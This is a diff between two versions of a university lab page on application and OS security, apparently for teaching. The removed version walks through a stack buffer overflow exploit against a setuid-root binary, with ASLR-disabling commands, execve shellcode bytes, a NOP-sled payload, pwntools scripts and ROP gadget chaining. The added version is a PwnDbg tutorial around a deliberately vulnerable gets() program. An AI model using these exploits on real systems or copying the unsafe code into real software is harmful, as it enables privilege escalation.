This shows you the differences between two versions of the page.
isc:labs:06 [2022/04/11 11:09] horia.stoenescu [Shellcode Injection] |
isc:labs:06 [2024/04/09 20:48] (current) alexandru.mircea98 [Reading and modifying memory] |
||
---|---|---|---|
Line 1: | Line 1: | ||
- | /* ~~SHOWSOLUTION~~ */ | + | ===== Lab 06 - Application Security ===== |
- | ====== Lab 06 - Operating System Security ====== | + | ===== Resources ===== |
- | ===== Objectives ===== | + | *[[https://dhavalkapil.com/blogs/Buffer-Overflow-Exploit/|Buffer overflow explained]] |
- | * Linux Protection Mechanisms (ASLR) | + | *[[https://dhavalkapil.com/blogs/Shellcode-Injection/|Shellcode explained]] |
- | * Linux Kernel Namespaces, Linux Containers, Docker | + | |
- | * Exploit Mitigation | + | |
- | ===== ASLR ===== | + | ===== Setup ===== |
- | Address space layout randomization (ASLR) is a computer security technique involved in protection from buffer overflow attacks. ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap, and libraries. | + | * Open a lab VM instance on [[https://cloud.grid.pub.ro|OpenStack]], image: **ISC 2023 rev 2**, flavor: **m1.medium**. |
- | In short, when ASLR is turned on, the addresses of the stack, etc will be randomized. This causes a lot of difficulty in predicting addresses while exploiting. | + | |
- | To disable ASLR: | + | * Install the 32-bit **libc** and **gcc-multilib** packages: |
- | <code> | + | |
- | echo "0" | [sudo] dd of=/proc/sys/kernel/randomize_va_space | + | |
- | </code> | + | |
- | To enable ASLR: | ||
<code> | <code> | ||
- | echo "2" | [sudo] dd of=/proc/sys/kernel/randomize_va_space | ||
- | </code> | ||
- | ==== Shellcode Injection ==== | + | sudo apt install libc6-dev-i386 gcc-multilib |
- | Scenario: | + | </code> |
- | You have access to a system with an executable binary that is owned by root, has the suid bit set, and is vulnerable to buffer overflow. This section will show you step by step how to exploit it to gain shell access. | + | * Install the PwnDbg plugin: |
- | == 00. Setup == | ||
- | |||
- | Install again ''libc6-dev-i386'' library: | ||
<code> | <code> | ||
- | $ sudo apt install libc6-dev-i386 | + | git clone https://github.com/pwndbg/pwndbg |
+ | cd pwndbg | ||
+ | ./setup.sh | ||
</code> | </code> | ||
- | We will also need gdb-peda, which will be installed later (see the [[https://ocw.cs.pub.ro/courses/isc/labs/05?&#setup|Setup]] from the latest lab). | + | To check if everything is OK, run the command ''gdb'' with no arguments. The prompt should be similar to this: |
- | Create a user test without root privileges: | ||
<code> | <code> | ||
- | $ sudo useradd -m test -s /bin/bash | + | ➜ gdb |
- | $ sudo su test | + | GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1 |
- | $ cd ~ | + | ... |
+ | pwndbg> | ||
</code> | </code> | ||
- | Create ''vuln.c'' in the home directory for ''test'' user, containing the following code: | + | Enter ''q'' to exit GDB. We are using PwnDbg instead of the classic GDB because it is much more user friendly. Hope you'll like it ;) |
+ | |||
+ | ===== Overview ===== | ||
+ | |||
+ | {{http://i.imgur.com/mK1nsNl.png}} | ||
+ | |||
+ | <note tip> | ||
+ | |||
+ | This representation of the stack is valid for 32 bit programs. The calling convention is to save the parameters on the stack. | ||
+ | |||
+ | To find out what's different for a 64 bit program check this [[https://www.systutorials.com/x86-64-calling-convention-by-gcc/|website]]. | ||
+ | |||
+ | </note> | ||
+ | |||
+ | A buffer overflow occurs when data written to a buffer overruns its boundary and overwrites adjacent memory locations, due to insufficient bounds checking. | ||
+ | |||
+ | ===== GDB tutorial ===== | ||
+ | |||
+ | ==== PwnDbg ==== | ||
+ | |||
+ | ==== Loading a program ==== | ||
+ | |||
+ | In order to start debugging using GDB, you need to specify the program to be inspected. There are two options for doing this: | ||
+ | |||
+ | * When launching GDB: | ||
<code> | <code> | ||
- | #include <stdio.h> | ||
- | #include <string.h> | ||
- | void func(char *name) | + | ➜ gdb buggy |
- | { | + | |
- | char buf[100]; | + | |
- | strcpy(buf, name); | + | |
- | printf("Welcome %s\n", buf); | + | |
- | } | + | |
- | int main(int argc, char *argv[]) | ||
- | { | ||
- | func(argv[1]); | ||
- | return 0; | ||
- | } | ||
</code> | </code> | ||
- | Compile it: | + | * After launching GDB: |
<code> | <code> | ||
- | gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack | ||
- | -fno-stack-protector - disable the stack protection | + | ➜ gdb |
- | -m32 - make sure that the compiled binary is 32 bit | + | ... |
- | -z execstack - makes the stack executable | + | pwndbg> file buggy |
+ | Reading symbols from buggy... | ||
</code> | </code> | ||
- | Set the suid bit and owner to root: | + | Once the debugging symbols from the executable were loaded, you can start executing your program using the ''run'' command. |
<code> | <code> | ||
- | sudo chown root:test vuln | + | |
- | sudo chmod 550 vuln | + | pwndbg> run |
- | sudo chmod u+s vuln | + | |
</code> | </code> | ||
- | Turn off ASLR and then log into ''test'' user. | + | <note tip> |
- | == 01. Finding a vulnerability == | + | You do not need the specify the full command, GDB can fill in the rest of a word in a command for you, if there is only one possibility. |
+ | |||
+ | E.g.: ''r'', ''ru'' and ''run'' are equivalent; ''c'', ''co'', ''continue'' are equivalent. | ||
+ | |||
+ | </note> | ||
+ | |||
+ | In order to specify arguments for the debugged program, you can either: | ||
+ | |||
+ | * Specify them prior to starting the program: | ||
- | Disassemble using objdump in order to analyze the program: | ||
<code> | <code> | ||
- | objdump -d -M intel vuln | + | |
+ | pwndbg> set args a b | ||
</code> | </code> | ||
- | Looking at the disassembly of ''func'', it can be observed that ''buf'' lies at ''ebp - 0x6c''. Hence, 108 bytes are allocated for ''buf'' in the stack, the next 4 bytes would be the saved ''ebp'' pointer of the previous stack frame, and the next 4 bytes will be the return address. | + | * Specify them when starting the program: |
- | What happens if the program receives as argument a buffer containing 116 As? | ||
<code> | <code> | ||
- | ./vuln $(python -c 'print 116 * "A"') | + | |
+ | pwndbg> run a b | ||
</code> | </code> | ||
- | Use ''gdb'' to discover the address where the program is crashing. What do you observe? Why is this happening? | + | <note tip> |
- | **hint:** You might need to re-install [[https://github.com/longld/peda|PEDA]] as the ''test'' user. | + | You do not need to specify the arguments each time: |
+ | ''run'' with no arguments uses the same arguments used by the previous ''run'', or those set by the ''set args'' command. | ||
- | == 02. Crafting Shellcode == | + | </note> |
- | We will create a shellcode that spawns a shell. First create shellcode.asm with the following code: | + | ==== Breakpoints ==== |
- | <code> | + | Breakpoints represent places in your program where the execution should be stopped. |
- | xor eax, eax ;Clearing eax register | + | They are added using the [[https://visualgdb.com/gdbreference/commands/break|break]] command. Here are the most common usages: |
- | push eax ;Pushing NULL bytes | + | |
- | push 0x68732f2f ;Pushing //sh | + | * ''break function'' - Set a breakpoint at function entry. When using source languages that permit overloading of symbols, such as C++, function may refer to more than one possible place to break. |
- | push 0x6e69622f ;Pushing /bin | + | |
- | mov ebx, esp ;ebx now has address of /bin//sh | + | * ''break linenum'' - Set a breakpoint at line ''linenum'' in the current source file. The current source file is the last file whose source text was printed. The breakpoint will stop your program just before it executes any of the code on that line. |
- | push eax ;Pushing NULL byte | + | |
- | mov edx, esp ;edx now has address of NULL byte | + | * ''break filename:linenum'' - Set a breakpoint at line ''linenum'' in source file ''filename''. |
- | push ebx ;Pushing address of /bin//sh | + | |
- | mov ecx, esp ;ecx now has address of address | + | * ''break filename:func'' - Set a breakpoint at entry of the function ''func'' found in file ''filename''. Specifying a file name as well as a function name is superfluous except when multiple files contain similarly named functions. |
- | ;of /bin//sh byte | + | |
- | mov al, 11 ;syscall number of execve is 11 | + | * ''break *addr'' - Set a breakpoint at address ''addr''. You can use this to set breakpoints in parts of your program which do not have debugging information or source files. |
- | int 0x80 ;Make the system call | + | |
- | </code> | + | You can see an overview of the current breakpoints using the ''info break'' command. |
- | Install nasm and compile shellcode using it: | ||
<code> | <code> | ||
- | nasm -f elf shellcode.asm | + | |
+ | pwndbg> info b | ||
+ | Num Type Disp Enb Address What | ||
+ | 1 breakpoint keep y 0x000011de in wanted at buggy.c:6 | ||
+ | 2 breakpoint keep y 0x00001229 in copy at buggy.c:16 | ||
+ | 3 breakpoint keep y 0x00001281 in main at buggy.c:22 | ||
</code> | </code> | ||
- | Use objdump to get the shellcode bytes: | + | <note tip> |
+ | |||
+ | Short for ''info break'' is ''i b''. | ||
+ | |||
+ | </note> | ||
+ | |||
+ | In order to remove breakpoints, you can use the ''clear'' or the ''delete'' (''d'') command. | ||
+ | With the [[https://visualgdb.com/gdbreference/commands/clear|clear]] command you can delete breakpoints according to where they are in your program. | ||
+ | With the [[https://visualgdb.com/gdbreference/commands/delete|delete]] command you can delete individual breakpoints by specifying their breakpoint numbers. | ||
<code> | <code> | ||
- | objdump -d -M intel shellcode.o | + | |
+ | pwndbg> delete 2 | ||
+ | pwndbg> clear buggy.c:6 | ||
+ | Deleted breakpoint 1 | ||
</code> | </code> | ||
- | Extracting the bytes gives us the shellcode: | + | Once you want to resume execution, you can use the ''continue'' (''c'') command. |
<code> | <code> | ||
- | \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80 | + | |
+ | pwndbg> continue | ||
+ | Continuing. | ||
+ | ... | ||
+ | [Inferior 1 (process 11131) exited normally] | ||
</code> | </code> | ||
- | == 03. Finding a possible place to inject shellcode == | + | ==== Start ==== |
- | In this example ''buf'' seems to be the perfect place to inject the shellcode above. We can insert the shellcode by passing it inside the first parameter while running ''vuln''. But how do we know what address ''buf'' will be loaded in stack? That’s where ''gdb'' will help us. As ASLR is disabled we are sure that no matter how many times the binary is run, the address of ''buf'' will not change. | + | The ''start'' command is very similar to ''run'', but instead of running the program until it ends (or until it crashes), it sets a breakpoint at the beginning of the main function. |
- | Run ''vuln'' using ''gdb'': | ||
<code> | <code> | ||
- | vampire@linux:/home/test$ gdb -q vuln | ||
- | Reading symbols from vuln...(no debugging symbols found)...done. | ||
- | (gdb) break func | ||
- | Breakpoint 1 at 0x8048456 | ||
- | (gdb) run $(python -c 'print "A"*116') | ||
- | Starting program: /home/test/vuln $(python -c 'print "A"*116') | ||
- | Breakpoint 1, 0x08048456 in func () | + | 22 if (argc == 1) { |
- | (gdb) print $ebp | + | LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA |
- | $1 = (void *) 0xffffce78 | + | ─────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────────────── |
- | (gdb) print $ebp - 0x6c | + | *EAX 0xffffd880 ◂— 0x2 |
- | $2 = (void *) 0xffffce0c | + | *EBX 0x56558fcc (_GLOBAL_OFFSET_TABLE_) ◂— 0x3ed4 |
+ | *ECX 0xffffd880 ◂— 0x2 | ||
+ | *EDX 0xffffd8a0 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac | ||
+ | *EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0x0 | ||
+ | *ESI 0xffffd934 —▸ 0xffffdabd ◂— '/home/student/appsec/buggy' | ||
+ | *EBP 0xffffd868 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 —▸ 0x56555000 ◂— 0x464c457f | ||
+ | *ESP 0xffffd850 —▸ 0xffffd890 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac | ||
+ | *EIP 0x56556281 (main+31) ◂— cmp dword ptr [eax], 1 | ||
+ | ───────────────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────────────── | ||
+ | ► 0x56556281 <main+31> cmp dword ptr [eax], 1 | ||
+ | 0x56556284 <main+34> jne main+61 <main+61> | ||
+ | ↓ | ||
+ | 0x5655629f <main+61> mov dword ptr [ebp - 0xc], 0x796568 | ||
+ | 0x565562a6 <main+68> mov eax, dword ptr [eax + 4] | ||
+ | 0x565562a9 <main+71> add eax, 4 | ||
+ | 0x565562ac <main+74> mov eax, dword ptr [eax] | ||
+ | 0x565562ae <main+76> sub esp, 4 | ||
+ | 0x565562b1 <main+79> push eax | ||
+ | 0x565562b2 <main+80> lea eax, [ebp - 0xc] | ||
+ | 0x565562b5 <main+83> push eax | ||
+ | 0x565562b6 <main+84> lea eax, [ebx - 0x1f6e] | ||
+ | ────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────── | ||
+ | In file: /home/student/appsec/buggy.c | ||
+ | 17 gets(name); | ||
+ | 18 printf("bye\n"); | ||
+ | 19 } | ||
+ | 20 | ||
+ | 21 int main(int argc, char **argv) { | ||
+ | ► 22 if (argc == 1) { | ||
+ | 23 puts("Usage: %s <name>\n"); | ||
+ | 24 return 1; | ||
+ | 25 } | ||
+ | 26 char buf[] = "hey"; | ||
+ | 27 | ||
+ | ────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────── | ||
+ | 00:0000│ esp 0xffffd850 —▸ 0xffffd890 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac | ||
+ | 01:0004│-014 0xffffd854 —▸ 0xf7fbe66c —▸ 0xf7ffdba0 —▸ 0xf7fbe780 —▸ 0xf7ffda40 ◂— ... | ||
+ | 02:0008│-010 0xffffd858 —▸ 0xf7fbeb20 —▸ 0xf7d99cc6 ◂— 'GLIBC_PRIVATE' | ||
+ | 03:000c│-00c 0xffffd85c ◂— 0x1 | ||
+ | 04:0010│-008 0xffffd860 —▸ 0xffffd880 ◂— 0x2 | ||
+ | 05:0014│-004 0xffffd864 —▸ 0xf7fa9000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac | ||
+ | 06:0018│ ebp 0xffffd868 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 —▸ 0x56555000 ◂— 0x464c457f | ||
+ | 07:001c│+004 0xffffd86c —▸ 0xf7da0519 (__libc_start_call_main+121) ◂— add esp, 0x10 | ||
+ | ──────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────── | ||
+ | ► 0 0x56556281 main+31 | ||
+ | 1 0xf7da0519 __libc_start_call_main+121 | ||
+ | 2 0xf7da05f3 __libc_start_main+147 | ||
+ | 3 0x565560cb _start+43 | ||
+ | ───────────────────────────────────────────────────────────────────────────────────────────────────────── | ||
</code> | </code> | ||
- | The above commands set a breakpoint at the ''func'' function and the start the binary with a payload of length 116 as the argument. Printing the address ''ebp - 0x6c'' shows that ''buf'' was located at ''0xffffce0c''. However this need not be the address of ''buf'' when we run the program outside of ''gdb''. This is because things like environment variables and the name of the program along with arguments are also pushed on the stack. Although the stack starts at the same address (because of ASLR disabled), the difference in the method of running the program will result in the difference of the address of ''buf''. This difference will be around a few bytes, but we will later demonstrate how to take care of it. | + | Let's take a look at the previous output that PwnDbg prints. You can see it is seprated into 5 sections: REGISTERS, DISASM, SOURCE, STACK and TRACE. |
+ | With the original GDB you would have to manually print registers, disassemble code and inspect the stack. Thanks, God, for PwnDbg! | ||
- | **Note**: The length of the payload will have an effect on the location of ''buf'' as the payload itself is also pushed on the stack (it is part of the arguments). We are using one of length 116, which will be the length of the final payload that we’ll be passing. | + | ==== Step ==== |
- | == 04. Transfering execution flow of the program to the inserted shellcode == | + | There might be situations when you only want to execute one line of source code, or one machine instruction from your program. |
+ | This action is called [[https://sourceware.org/gdb/onlinedocs/gdb/Continuing-and-Stepping.html|step]] and can be categorized as follows: | ||
- | This is the easiest part. We have the shellcode in memory and know its address (with an error of a few bytes). We have already found out that ''vuln'' is vulnerable to buffer overflow and we can modify the return address for function ''func''. | + | * ''step'' or ''s'' (step into) - Continue running your program until control reaches a different source line, then stop it and return control to GDB. If the line you are stepping over represents a function call, this command will step inside it. |
- | == 05. Crafting payload == | + | * ''next'' or ''n'' (step over) - Continue to the next source line in the current stack frame. This is similar to step, but function calls that appear within the line of code are executed without stopping. |
- | Let’s insert the shellcode at the end of the argument string so its address is equal to the address of buf + some length. Here’s our shellcode: | + | There are also equivalent functions for the machine instructions: ''stepi'' and ''nexti''. |
- | <code> | + | |
- | \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80 | + | |
- | </code> | + | |
- | Length of shellcode = 25 bytes | + | |
- | We also discovered that return address starts after the first 112 bytes of ''buf''. | + | If you stepped into a function and you want to continue the execution until the function returns, you can use the ''finish'' or ''f'' (step out) command. |
- | We’ll fill the first 40 bytes with NOP instructions, constructing a NOP Sled. | + | ==== Printing variables and memory ==== |
- | **NOP Sled** is a sequence of NOP (no-operation) instructions meant to “slide” the CPU’s instruction execution flow to its final, desired, destination whenever the program branches to a memory address anywhere on the sled. Basically, whenever the CPU sees a NOP instruction, it slides down to the next instruction. | + | No need to manually print registers anymore, but you still might need to print the content of a variable: |
- | The reason for inserting a NOP sled before the shellcode is that now we can transfer execution flow to anyplace within these 40 bytes. The processor will keep on executing the NOP instructions until it finds the shellcode. We need not know the exact address of the shellcode. This takes care of the earlier mentioned problem of not knowing the address of buf exactly. | ||
- | |||
- | We will make the processor jump to the address of ''buf'' (taken from gdb’s output) + 20 bytes to get somewhere in the middle of the NOP sled. | ||
<code> | <code> | ||
- | 0xffffce0c + 20 = 0xffffce20 | ||
- | </code> | ||
- | We can fill the rest 47 (112 - 25 - 40) bytes with random data, say the ‘A’ character. | ||
- | Final payload structure: | + | pwndbg> print argc |
- | <code> | + | $1 = 2 |
- | [40 bytes of NOP - sled] [25 bytes of shellcode] [47 times ‘A’ will occupy 49 bytes] [4 bytes pointing in the middle of the NOP - sled: 0xffffce20] | + | |
</code> | </code> | ||
- | == 06. Running the exploit == | + | The ''print'' or ''p'' command allows you to specify the format of the output like this (you can find a full list of possible format specifiers [[https://ftp.gnu.org/old-gnu/Manuals/gdb/html_chapter/gdb_9.html#SEC55|here]]): |
<code> | <code> | ||
- | test@linux ~ $ ./vuln $(python -c 'print "\x90"*40 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*47 + "\x20\xce\xff\xff"') | ||
- | Welcome ����������������������������������������j | ||
- | X�Rhn/shh//bi��RS��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4��� | ||
- | # whoami | ||
- | test | ||
- | </code> | ||
- | Congratulations! You’ve got root access. | + | pwndbg> p/x $esp |
+ | $1 = 0xffffd860 | ||
- | <note important> | + | pwndbg> x/2x 0xffffd860 |
- | In case of segmentation fault, try changing the return address by +- 40 a few times. | + | 0xffffd860: 0xffffd8a0 0xf7fbe66c |
+ | |||
+ | pwndbg> p/d $esp | ||
+ | $2 = -10144 | ||
+ | |||
+ | pwndbg> p/s buf | ||
+ | $3 = "hey" | ||
+ | |||
+ | pwndbg> p/x buf | ||
+ | $4 = {0x68, 0x65, 0x79, 0x0} | ||
- | If it still won't work, the easiest solution is to dump the stack address from the program: <code c> | ||
- | // insert this at the beginning of `func`: | ||
- | printf("Stack addr: %04X\n", &buf); | ||
</code> | </code> | ||
- | Note that this trick may seem artificial but, in real-world exploits, if the attacker can convince the program to print its stack (e.g., from an error handler), then he can easily calculate the relevant address offsets. | ||
- | </note> | ||
- | == 07. What if we enable ASLR? == | + | ==== Reading and modifying memory ==== |
- | Try to enable ASLR and re-run the exploit. What happens? | + | You can use the command ''x'' (for **examine**) to examine memory in several formats, independently of your program's data types. |
- | == 08. [Bonus] Pwntools scripts == | + | <code> |
- | If you want have a cleaner way to exploit binaries you can use a python script with pwntools package. | + | pwndbg> x/nfu addr |
- | See on this [[https://docs.pwntools.com/en/stable/install.html|link]] how to install pwntools package (be patient, the installation might take some minutes :) ). | + | </code> |
- | Here is a sample solution you can complete to get to the same result as above. You will need to disable ASLR again. | + | ''n'', ''f'', and ''u'' are all optional parameters that specify how much memory to display and how to format it. |
+ | |||
+ | ''addr'' is an expression giving the address where you want to start displaying memory. | ||
+ | |||
+ | * **n** - The repeat count is a decimal integer; the default is 1. It specifies how much memory (counting by units **u**) to display. | ||
+ | * **f** - The display format is one of the formats used by print. | ||
+ | * **u** - The unit size is any of ''b'' (bytes), ''h'' (halfwords), ''w'' (words) | ||
+ | |||
+ | E.g.: Print 10 words in hexadecimal format, starting from the address of the current stack pointer. | ||
- | <spoiler For python2: > | ||
<code> | <code> | ||
- | from pwn import * | ||
- | context.log_level = 'info' | + | pwndbg> x/10wx $esp |
+ | 0xffffd850: 0xffffd890 0xf7fbe66c 0xf7fbeb20 0x00796568 | ||
+ | 0xffffd860: 0xffffd880 0xf7fa9000 0xf7ffd020 0xf7da0519 | ||
+ | 0xffffd870: 0xffffdabd 0x00000070 | ||
- | BIN = "./vuln" | + | </code> |
- | context.binary = BIN | + | |
- | size = 112 | + | In order to change the value of a variable or of a specific memory area, you can use the ''set'' command: |
- | offset = 0 | + | |
- | shellcode = "" | + | |
- | buf_start_addr = 0x0 # put your value here ex: 0xffffd12c | + | |
- | padding = size - len(shellcode) - offset | + | |
- | # p32 is used to pack our adress and make it just fit for use in our payload | + | <code> |
- | # ex 0xffffd12c => \x2c\xd1\xff\xff | + | |
- | payload = "\x90" * offset + shellcode + "A" * padding + p32(buf_start_addr) | + | |
- | print(payload) | + | pwndbg> set g = 4 |
+ | pwndbg> set {int}0xffffd890 = 4 | ||
- | #we use process to launch our target we can specify other args or set target to remote | + | </code> |
- | io = process([BIN, payload]) | + | |
+ | ==== Stack info ==== | ||
+ | |||
+ | A backtrace is a summary of how your program got where it is. It shows one line per frame, for many frames, starting with the currently executing frame (frame zero), followed by its caller (frame one), and on up the stack. | ||
+ | |||
+ | ''backtrace'' or ''bt'' - Print a backtrace of the entire stack: one line per frame for all frames in the stack. | ||
- | #use this to avoid terminating connection (usefull when trying to get shell) | + | E.g.: |
- | io.interactive() | + | |
- | </code> | + | |
- | </spoiler> | + | |
- | <spoiler And for python3: > | ||
<code> | <code> | ||
- | from pwn import * | ||
- | import sys | ||
- | context.log_level = 'info' | + | pwndbg> backtrace |
+ | #0 copy () at buggy.c:16 | ||
+ | #1 0x565562ca in main (argc=2, argv=0xffffd934) at buggy.c:29 | ||
+ | #2 0xf7da0519 in ?? () | ||
+ | Backtrace stopped: previous frame inner to this frame (corrupt stack?) | ||
- | BIN = "./vuln" | + | </code> |
- | context.binary = BIN | + | |
+ | It is also possible to move up or down the stack using the following commands: | ||
- | size = 112 | + | * ''up n'' - Move **n** frames up the stack. For positive numbers **n**, this advances toward the outermost frame, to higher frame numbers, to frames that have existed longer. **n** defaults to one. |
- | offset = 0 | + | |
- | shellcode = b"" | + | |
- | buf_start_addr = 0x0 # put your value here ex: 0xffffd12c | + | |
- | padding = size - len(shellcode) - offset | + | |
- | # p32 is used to pack our adress and make it just fit for use in our payload | + | * ''down n'' - Move **n** frames down the stack. For positive numbers **n**, this advances toward the innermost frame, to lower frame numbers, to frames that were created more recently. **n** defaults to one. |
- | # ex 0xffffd12c => \x2c\xd1\xff\xff | + | |
- | payload = b"\x90" * offset + shellcode + b"A" * padding + p32(buf_start_addr) | + | |
- | print(len(payload)) | + | Another useful command for printing information related to the current stack frame is ''info frame''. This command prints a verbose description of the selected stack frame, including: |
- | sys.stdout.buffer.write(payload) | + | |
- | #we use process to launch our target we can specify other args or set target to remote | + | * the address of the frame |
- | # io = remote('<ip>', <port>) | + | |
- | io = process([BIN, payload]) | + | |
- | #use this to avoid terminating connection (usefull when trying to get shell) | + | * the address of the next frame down (called by this frame) |
- | io.interactive() | + | |
- | </code> | + | |
- | </spoiler> | + | |
- | ==== Summary ==== | + | * the address of the next frame up (caller of this frame) |
- | To summarize, we overflowed the buffer and modified the return address to point near the start of the buffer in the stack. The buffer itself started with a NOP sled followed by shellcode which got executed. The atack was successful only with ASLR turned off, as the start of the stack wasn’t randomized each time the program was executed. This enabled us to first run the program in gdb to know the address of buffer. | + | * the language in which the source code corresponding to this frame is written |
- | ==== Return-oriented programming (ROP) ==== | + | * the address of the frame's arguments |
- | == 09. Chaining functions == | + | * the address of the frame's local variables |
+ | * the program counter saved in it (the address of execution in the caller frame) | ||
- | We got the following vulerable code: | + | * which registers were saved in the frame |
+ | |||
+ | ==== Exercises ==== | ||
+ | |||
+ | For exercises 02-04 do not quit GDB. | ||
+ | |||
+ | === 01. [5p] Our test program === | ||
+ | |||
+ | Compile the following code: | ||
+ | |||
+ | ''buggy.c'' | ||
<code> | <code> | ||
- | #include <stdio.h> | ||
- | void surprise(int b){ | + | #include <stdio.h> |
- | if (b == 0x87654321) { | + | #include <unistd.h> |
- | puts("SURPRISE\n"); | + | #include <stdlib.h> |
- | system("/bin/sh"); | + | |
- | } else { | + | |
- | puts("Surprise found, but the arg is not the right one!"); | + | |
- | } | + | |
- | } | + | |
- | void secret(int a){ | + | void wanted(int a) { |
- | if (a == 0x12345678) { | + | if (a == 0xcafebabe) { |
- | puts("Nice! Now, can you find the surprise?\n"); | + | puts("well done, you're cool!"); |
} else { | } else { | ||
- | puts("Secret accessed, but the arg is not the right one!"); | + | puts("at least you tried"); |
} | } | ||
} | } | ||
- | void run(){ | + | void copy() { |
- | char buf[32]; | + | char name[12]; |
- | printf("Tell me your name: "); | + | printf("what's ur last name?\n"); |
- | fflush(stdout); | + | gets(name); |
- | fgets(buf, 128, stdin); | + | |
- | printf("Hello, %s\n", buf); | + | |
+ | printf("bye\n"); | ||
} | } | ||
- | int main(){ | + | int main(int argc, char **argv) { |
- | run(); | + | if (argc == 1) { |
- | return 0; | + | puts("Usage: %s <name>\n"); |
+ | return 1; | ||
+ | } | ||
+ | char buf[] = "hey"; | ||
+ | |||
+ | printf("%s, %s\n", buf, argv[1]); | ||
+ | copy(); | ||
+ | |||
+ | exit(0); | ||
} | } | ||
+ | |||
</code> | </code> | ||
- | And to compile it we use: | + | |
+ | Use this command: | ||
<code> | <code> | ||
- | $ gcc rop.c -o vuln32 -fno-stack-protector -m32 -g -no-pie | + | |
+ | gcc buggy.c -o buggy -fno-stack-protector -m32 -g | ||
</code> | </code> | ||
- | What we want to achieve is to call the secret() function first and then the surprise() function in a way that they don't interfere with each other. The problem is that these functions require some arguments. So how can we do it, given that the stack is full of other garbage? | + | === 02. [5p] Run, break, step === |
- | We use ROPs. In order to chain multiple function calls we need to arrange the stack to be fit for our next function. For this we need to artificially clean the stack. We can do this by searching for a useful set of instruction pointers with ROPgadget (we'll get to that later). | + | Run the program using GDB, setting the argument ''Florin''. |
- | <note> | + | Set a breakpoint at the beginning of the ''main'' function. |
- | In our particular example, we suppose we accessed the secret function and we want to jump to the next one so we need to eliminate the argument of the secret function from the top of the stack. | + | |
- | </note> | + | |
- | In other words we need to pop the arg and then jump to the next function. We can search for a "pop <?any>; ret" set of instructions. This is called a ROP gadget (install the package on VM using this [[https://github.com/JonathanSalwan/ROPgadget#install|link]] - **note**: skip python3-pip installation as it is already installed). We can find what is available in our program running: | + | Continue execution until you hit the breakpoint. |
+ | Try to reach the beginning of the ''copy'' function without setting another breakpoint. | ||
+ | |||
+ | **Hint:** Use step over and step into. | ||
+ | |||
+ | <solution -hidden> | ||
<code> | <code> | ||
- | $ ROPgadget --binary vuln32 | + | |
- | Gadgets information | + | ➜ gdb buggy |
- | ============================================================ | + | |
- | 0x0804917a : adc al, 0x68 ; sub al, 0xc0 ; add al, 8 ; call eax | + | |
- | 0x080491c6 : adc byte ptr [eax + 0x68], dl ; sub al, 0xc0 ; add al, 8 ; call edx | + | |
- | 0x0804926c : adc byte ptr [eax - 0x3603a275], dl ; ret | + | |
... | ... | ||
- | 0x0804926f : pop ebp ; cld ; leave ; ret | + | pwndbg> set args Florin |
- | 0x080493c3 : pop ebp ; ret <=== //we look for sets like this | + | pwndbg> b main |
- | 0x080493c0 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret | + | pwndbg> r |
- | 0x08049022 : pop ebx ; ret <=== //or like this | + | Starting program: /home/student/appsec/buggy AAA |
- | 0x080493c2 : pop edi ; pop ebp ; ret | + | |
- | 0x080493c1 : pop esi ; pop edi ; pop ebp ; ret | + | |
... | ... | ||
+ | Breakpoint 1, main (argc=2, argv=0xffffd934) at buggy.c:22 | ||
+ | 22 if (argc == 1) { | ||
... | ... | ||
+ | pwndbg> n | ||
+ | 26 char buf[] = "hey"; | ||
+ | ... | ||
+ | pwndbg> n | ||
+ | 28 printf("%s, %s\n", buf, argv[1]); | ||
+ | ... | ||
+ | pwndbg> n | ||
+ | hey, Florin | ||
+ | 29 copy(); | ||
+ | ... | ||
+ | pwndbg> s | ||
+ | copy () at buggy.c:16 | ||
+ | 16 printf("what's ur last name?\n"); | ||
+ | |||
</code> | </code> | ||
+ | </solution> | ||
+ | |||
+ | === 03. [5p] Printing stuff === | ||
+ | |||
+ | Remove the existing breakpoint and set a new one at the beginning of the ''copy'' function. | ||
+ | |||
+ | Run again the program and continue execution until you hit the breakpoint. | ||
- | This (code pointer to) rop gadget needs to be placed in the return address of the previous function (because it is executable) so that it cleans or place the arguments and finally jump to the next piece. In this way we can consider our payload as a chain containing: | + | Print the value and the address of ''name''. Print the value again after ''gets(name)'' is executed. |
+ | <solution -hidden> | ||
<code> | <code> | ||
- | <padding until first return addr> + <chain> + <chain> + ... | + | |
+ | pwndbg> del 1 | ||
+ | pwndbg> b copy | ||
+ | Breakpoint 2 at 0x1229: file buggy.c, line 16. | ||
+ | pwndbg> run | ||
+ | Starting program: /home/student/appsec/buggy AAA | ||
+ | ... | ||
+ | hey, Florin | ||
+ | |||
+ | Breakpoint 2, copy () at buggy.c:16 | ||
+ | 16 printf("what's ur last name?\n"); | ||
+ | ... | ||
+ | pwndbg> p name | ||
+ | $1 = "\000\000\000\000\231j\335\367\302bUV" | ||
+ | pwndbg> p &name | ||
+ | $2 = (char (*)[12]) 0xffffd834 | ||
+ | pwndbg> n | ||
+ | what's ur last name? | ||
+ | 17 gets(name); | ||
+ | ... | ||
+ | pwndbg> n | ||
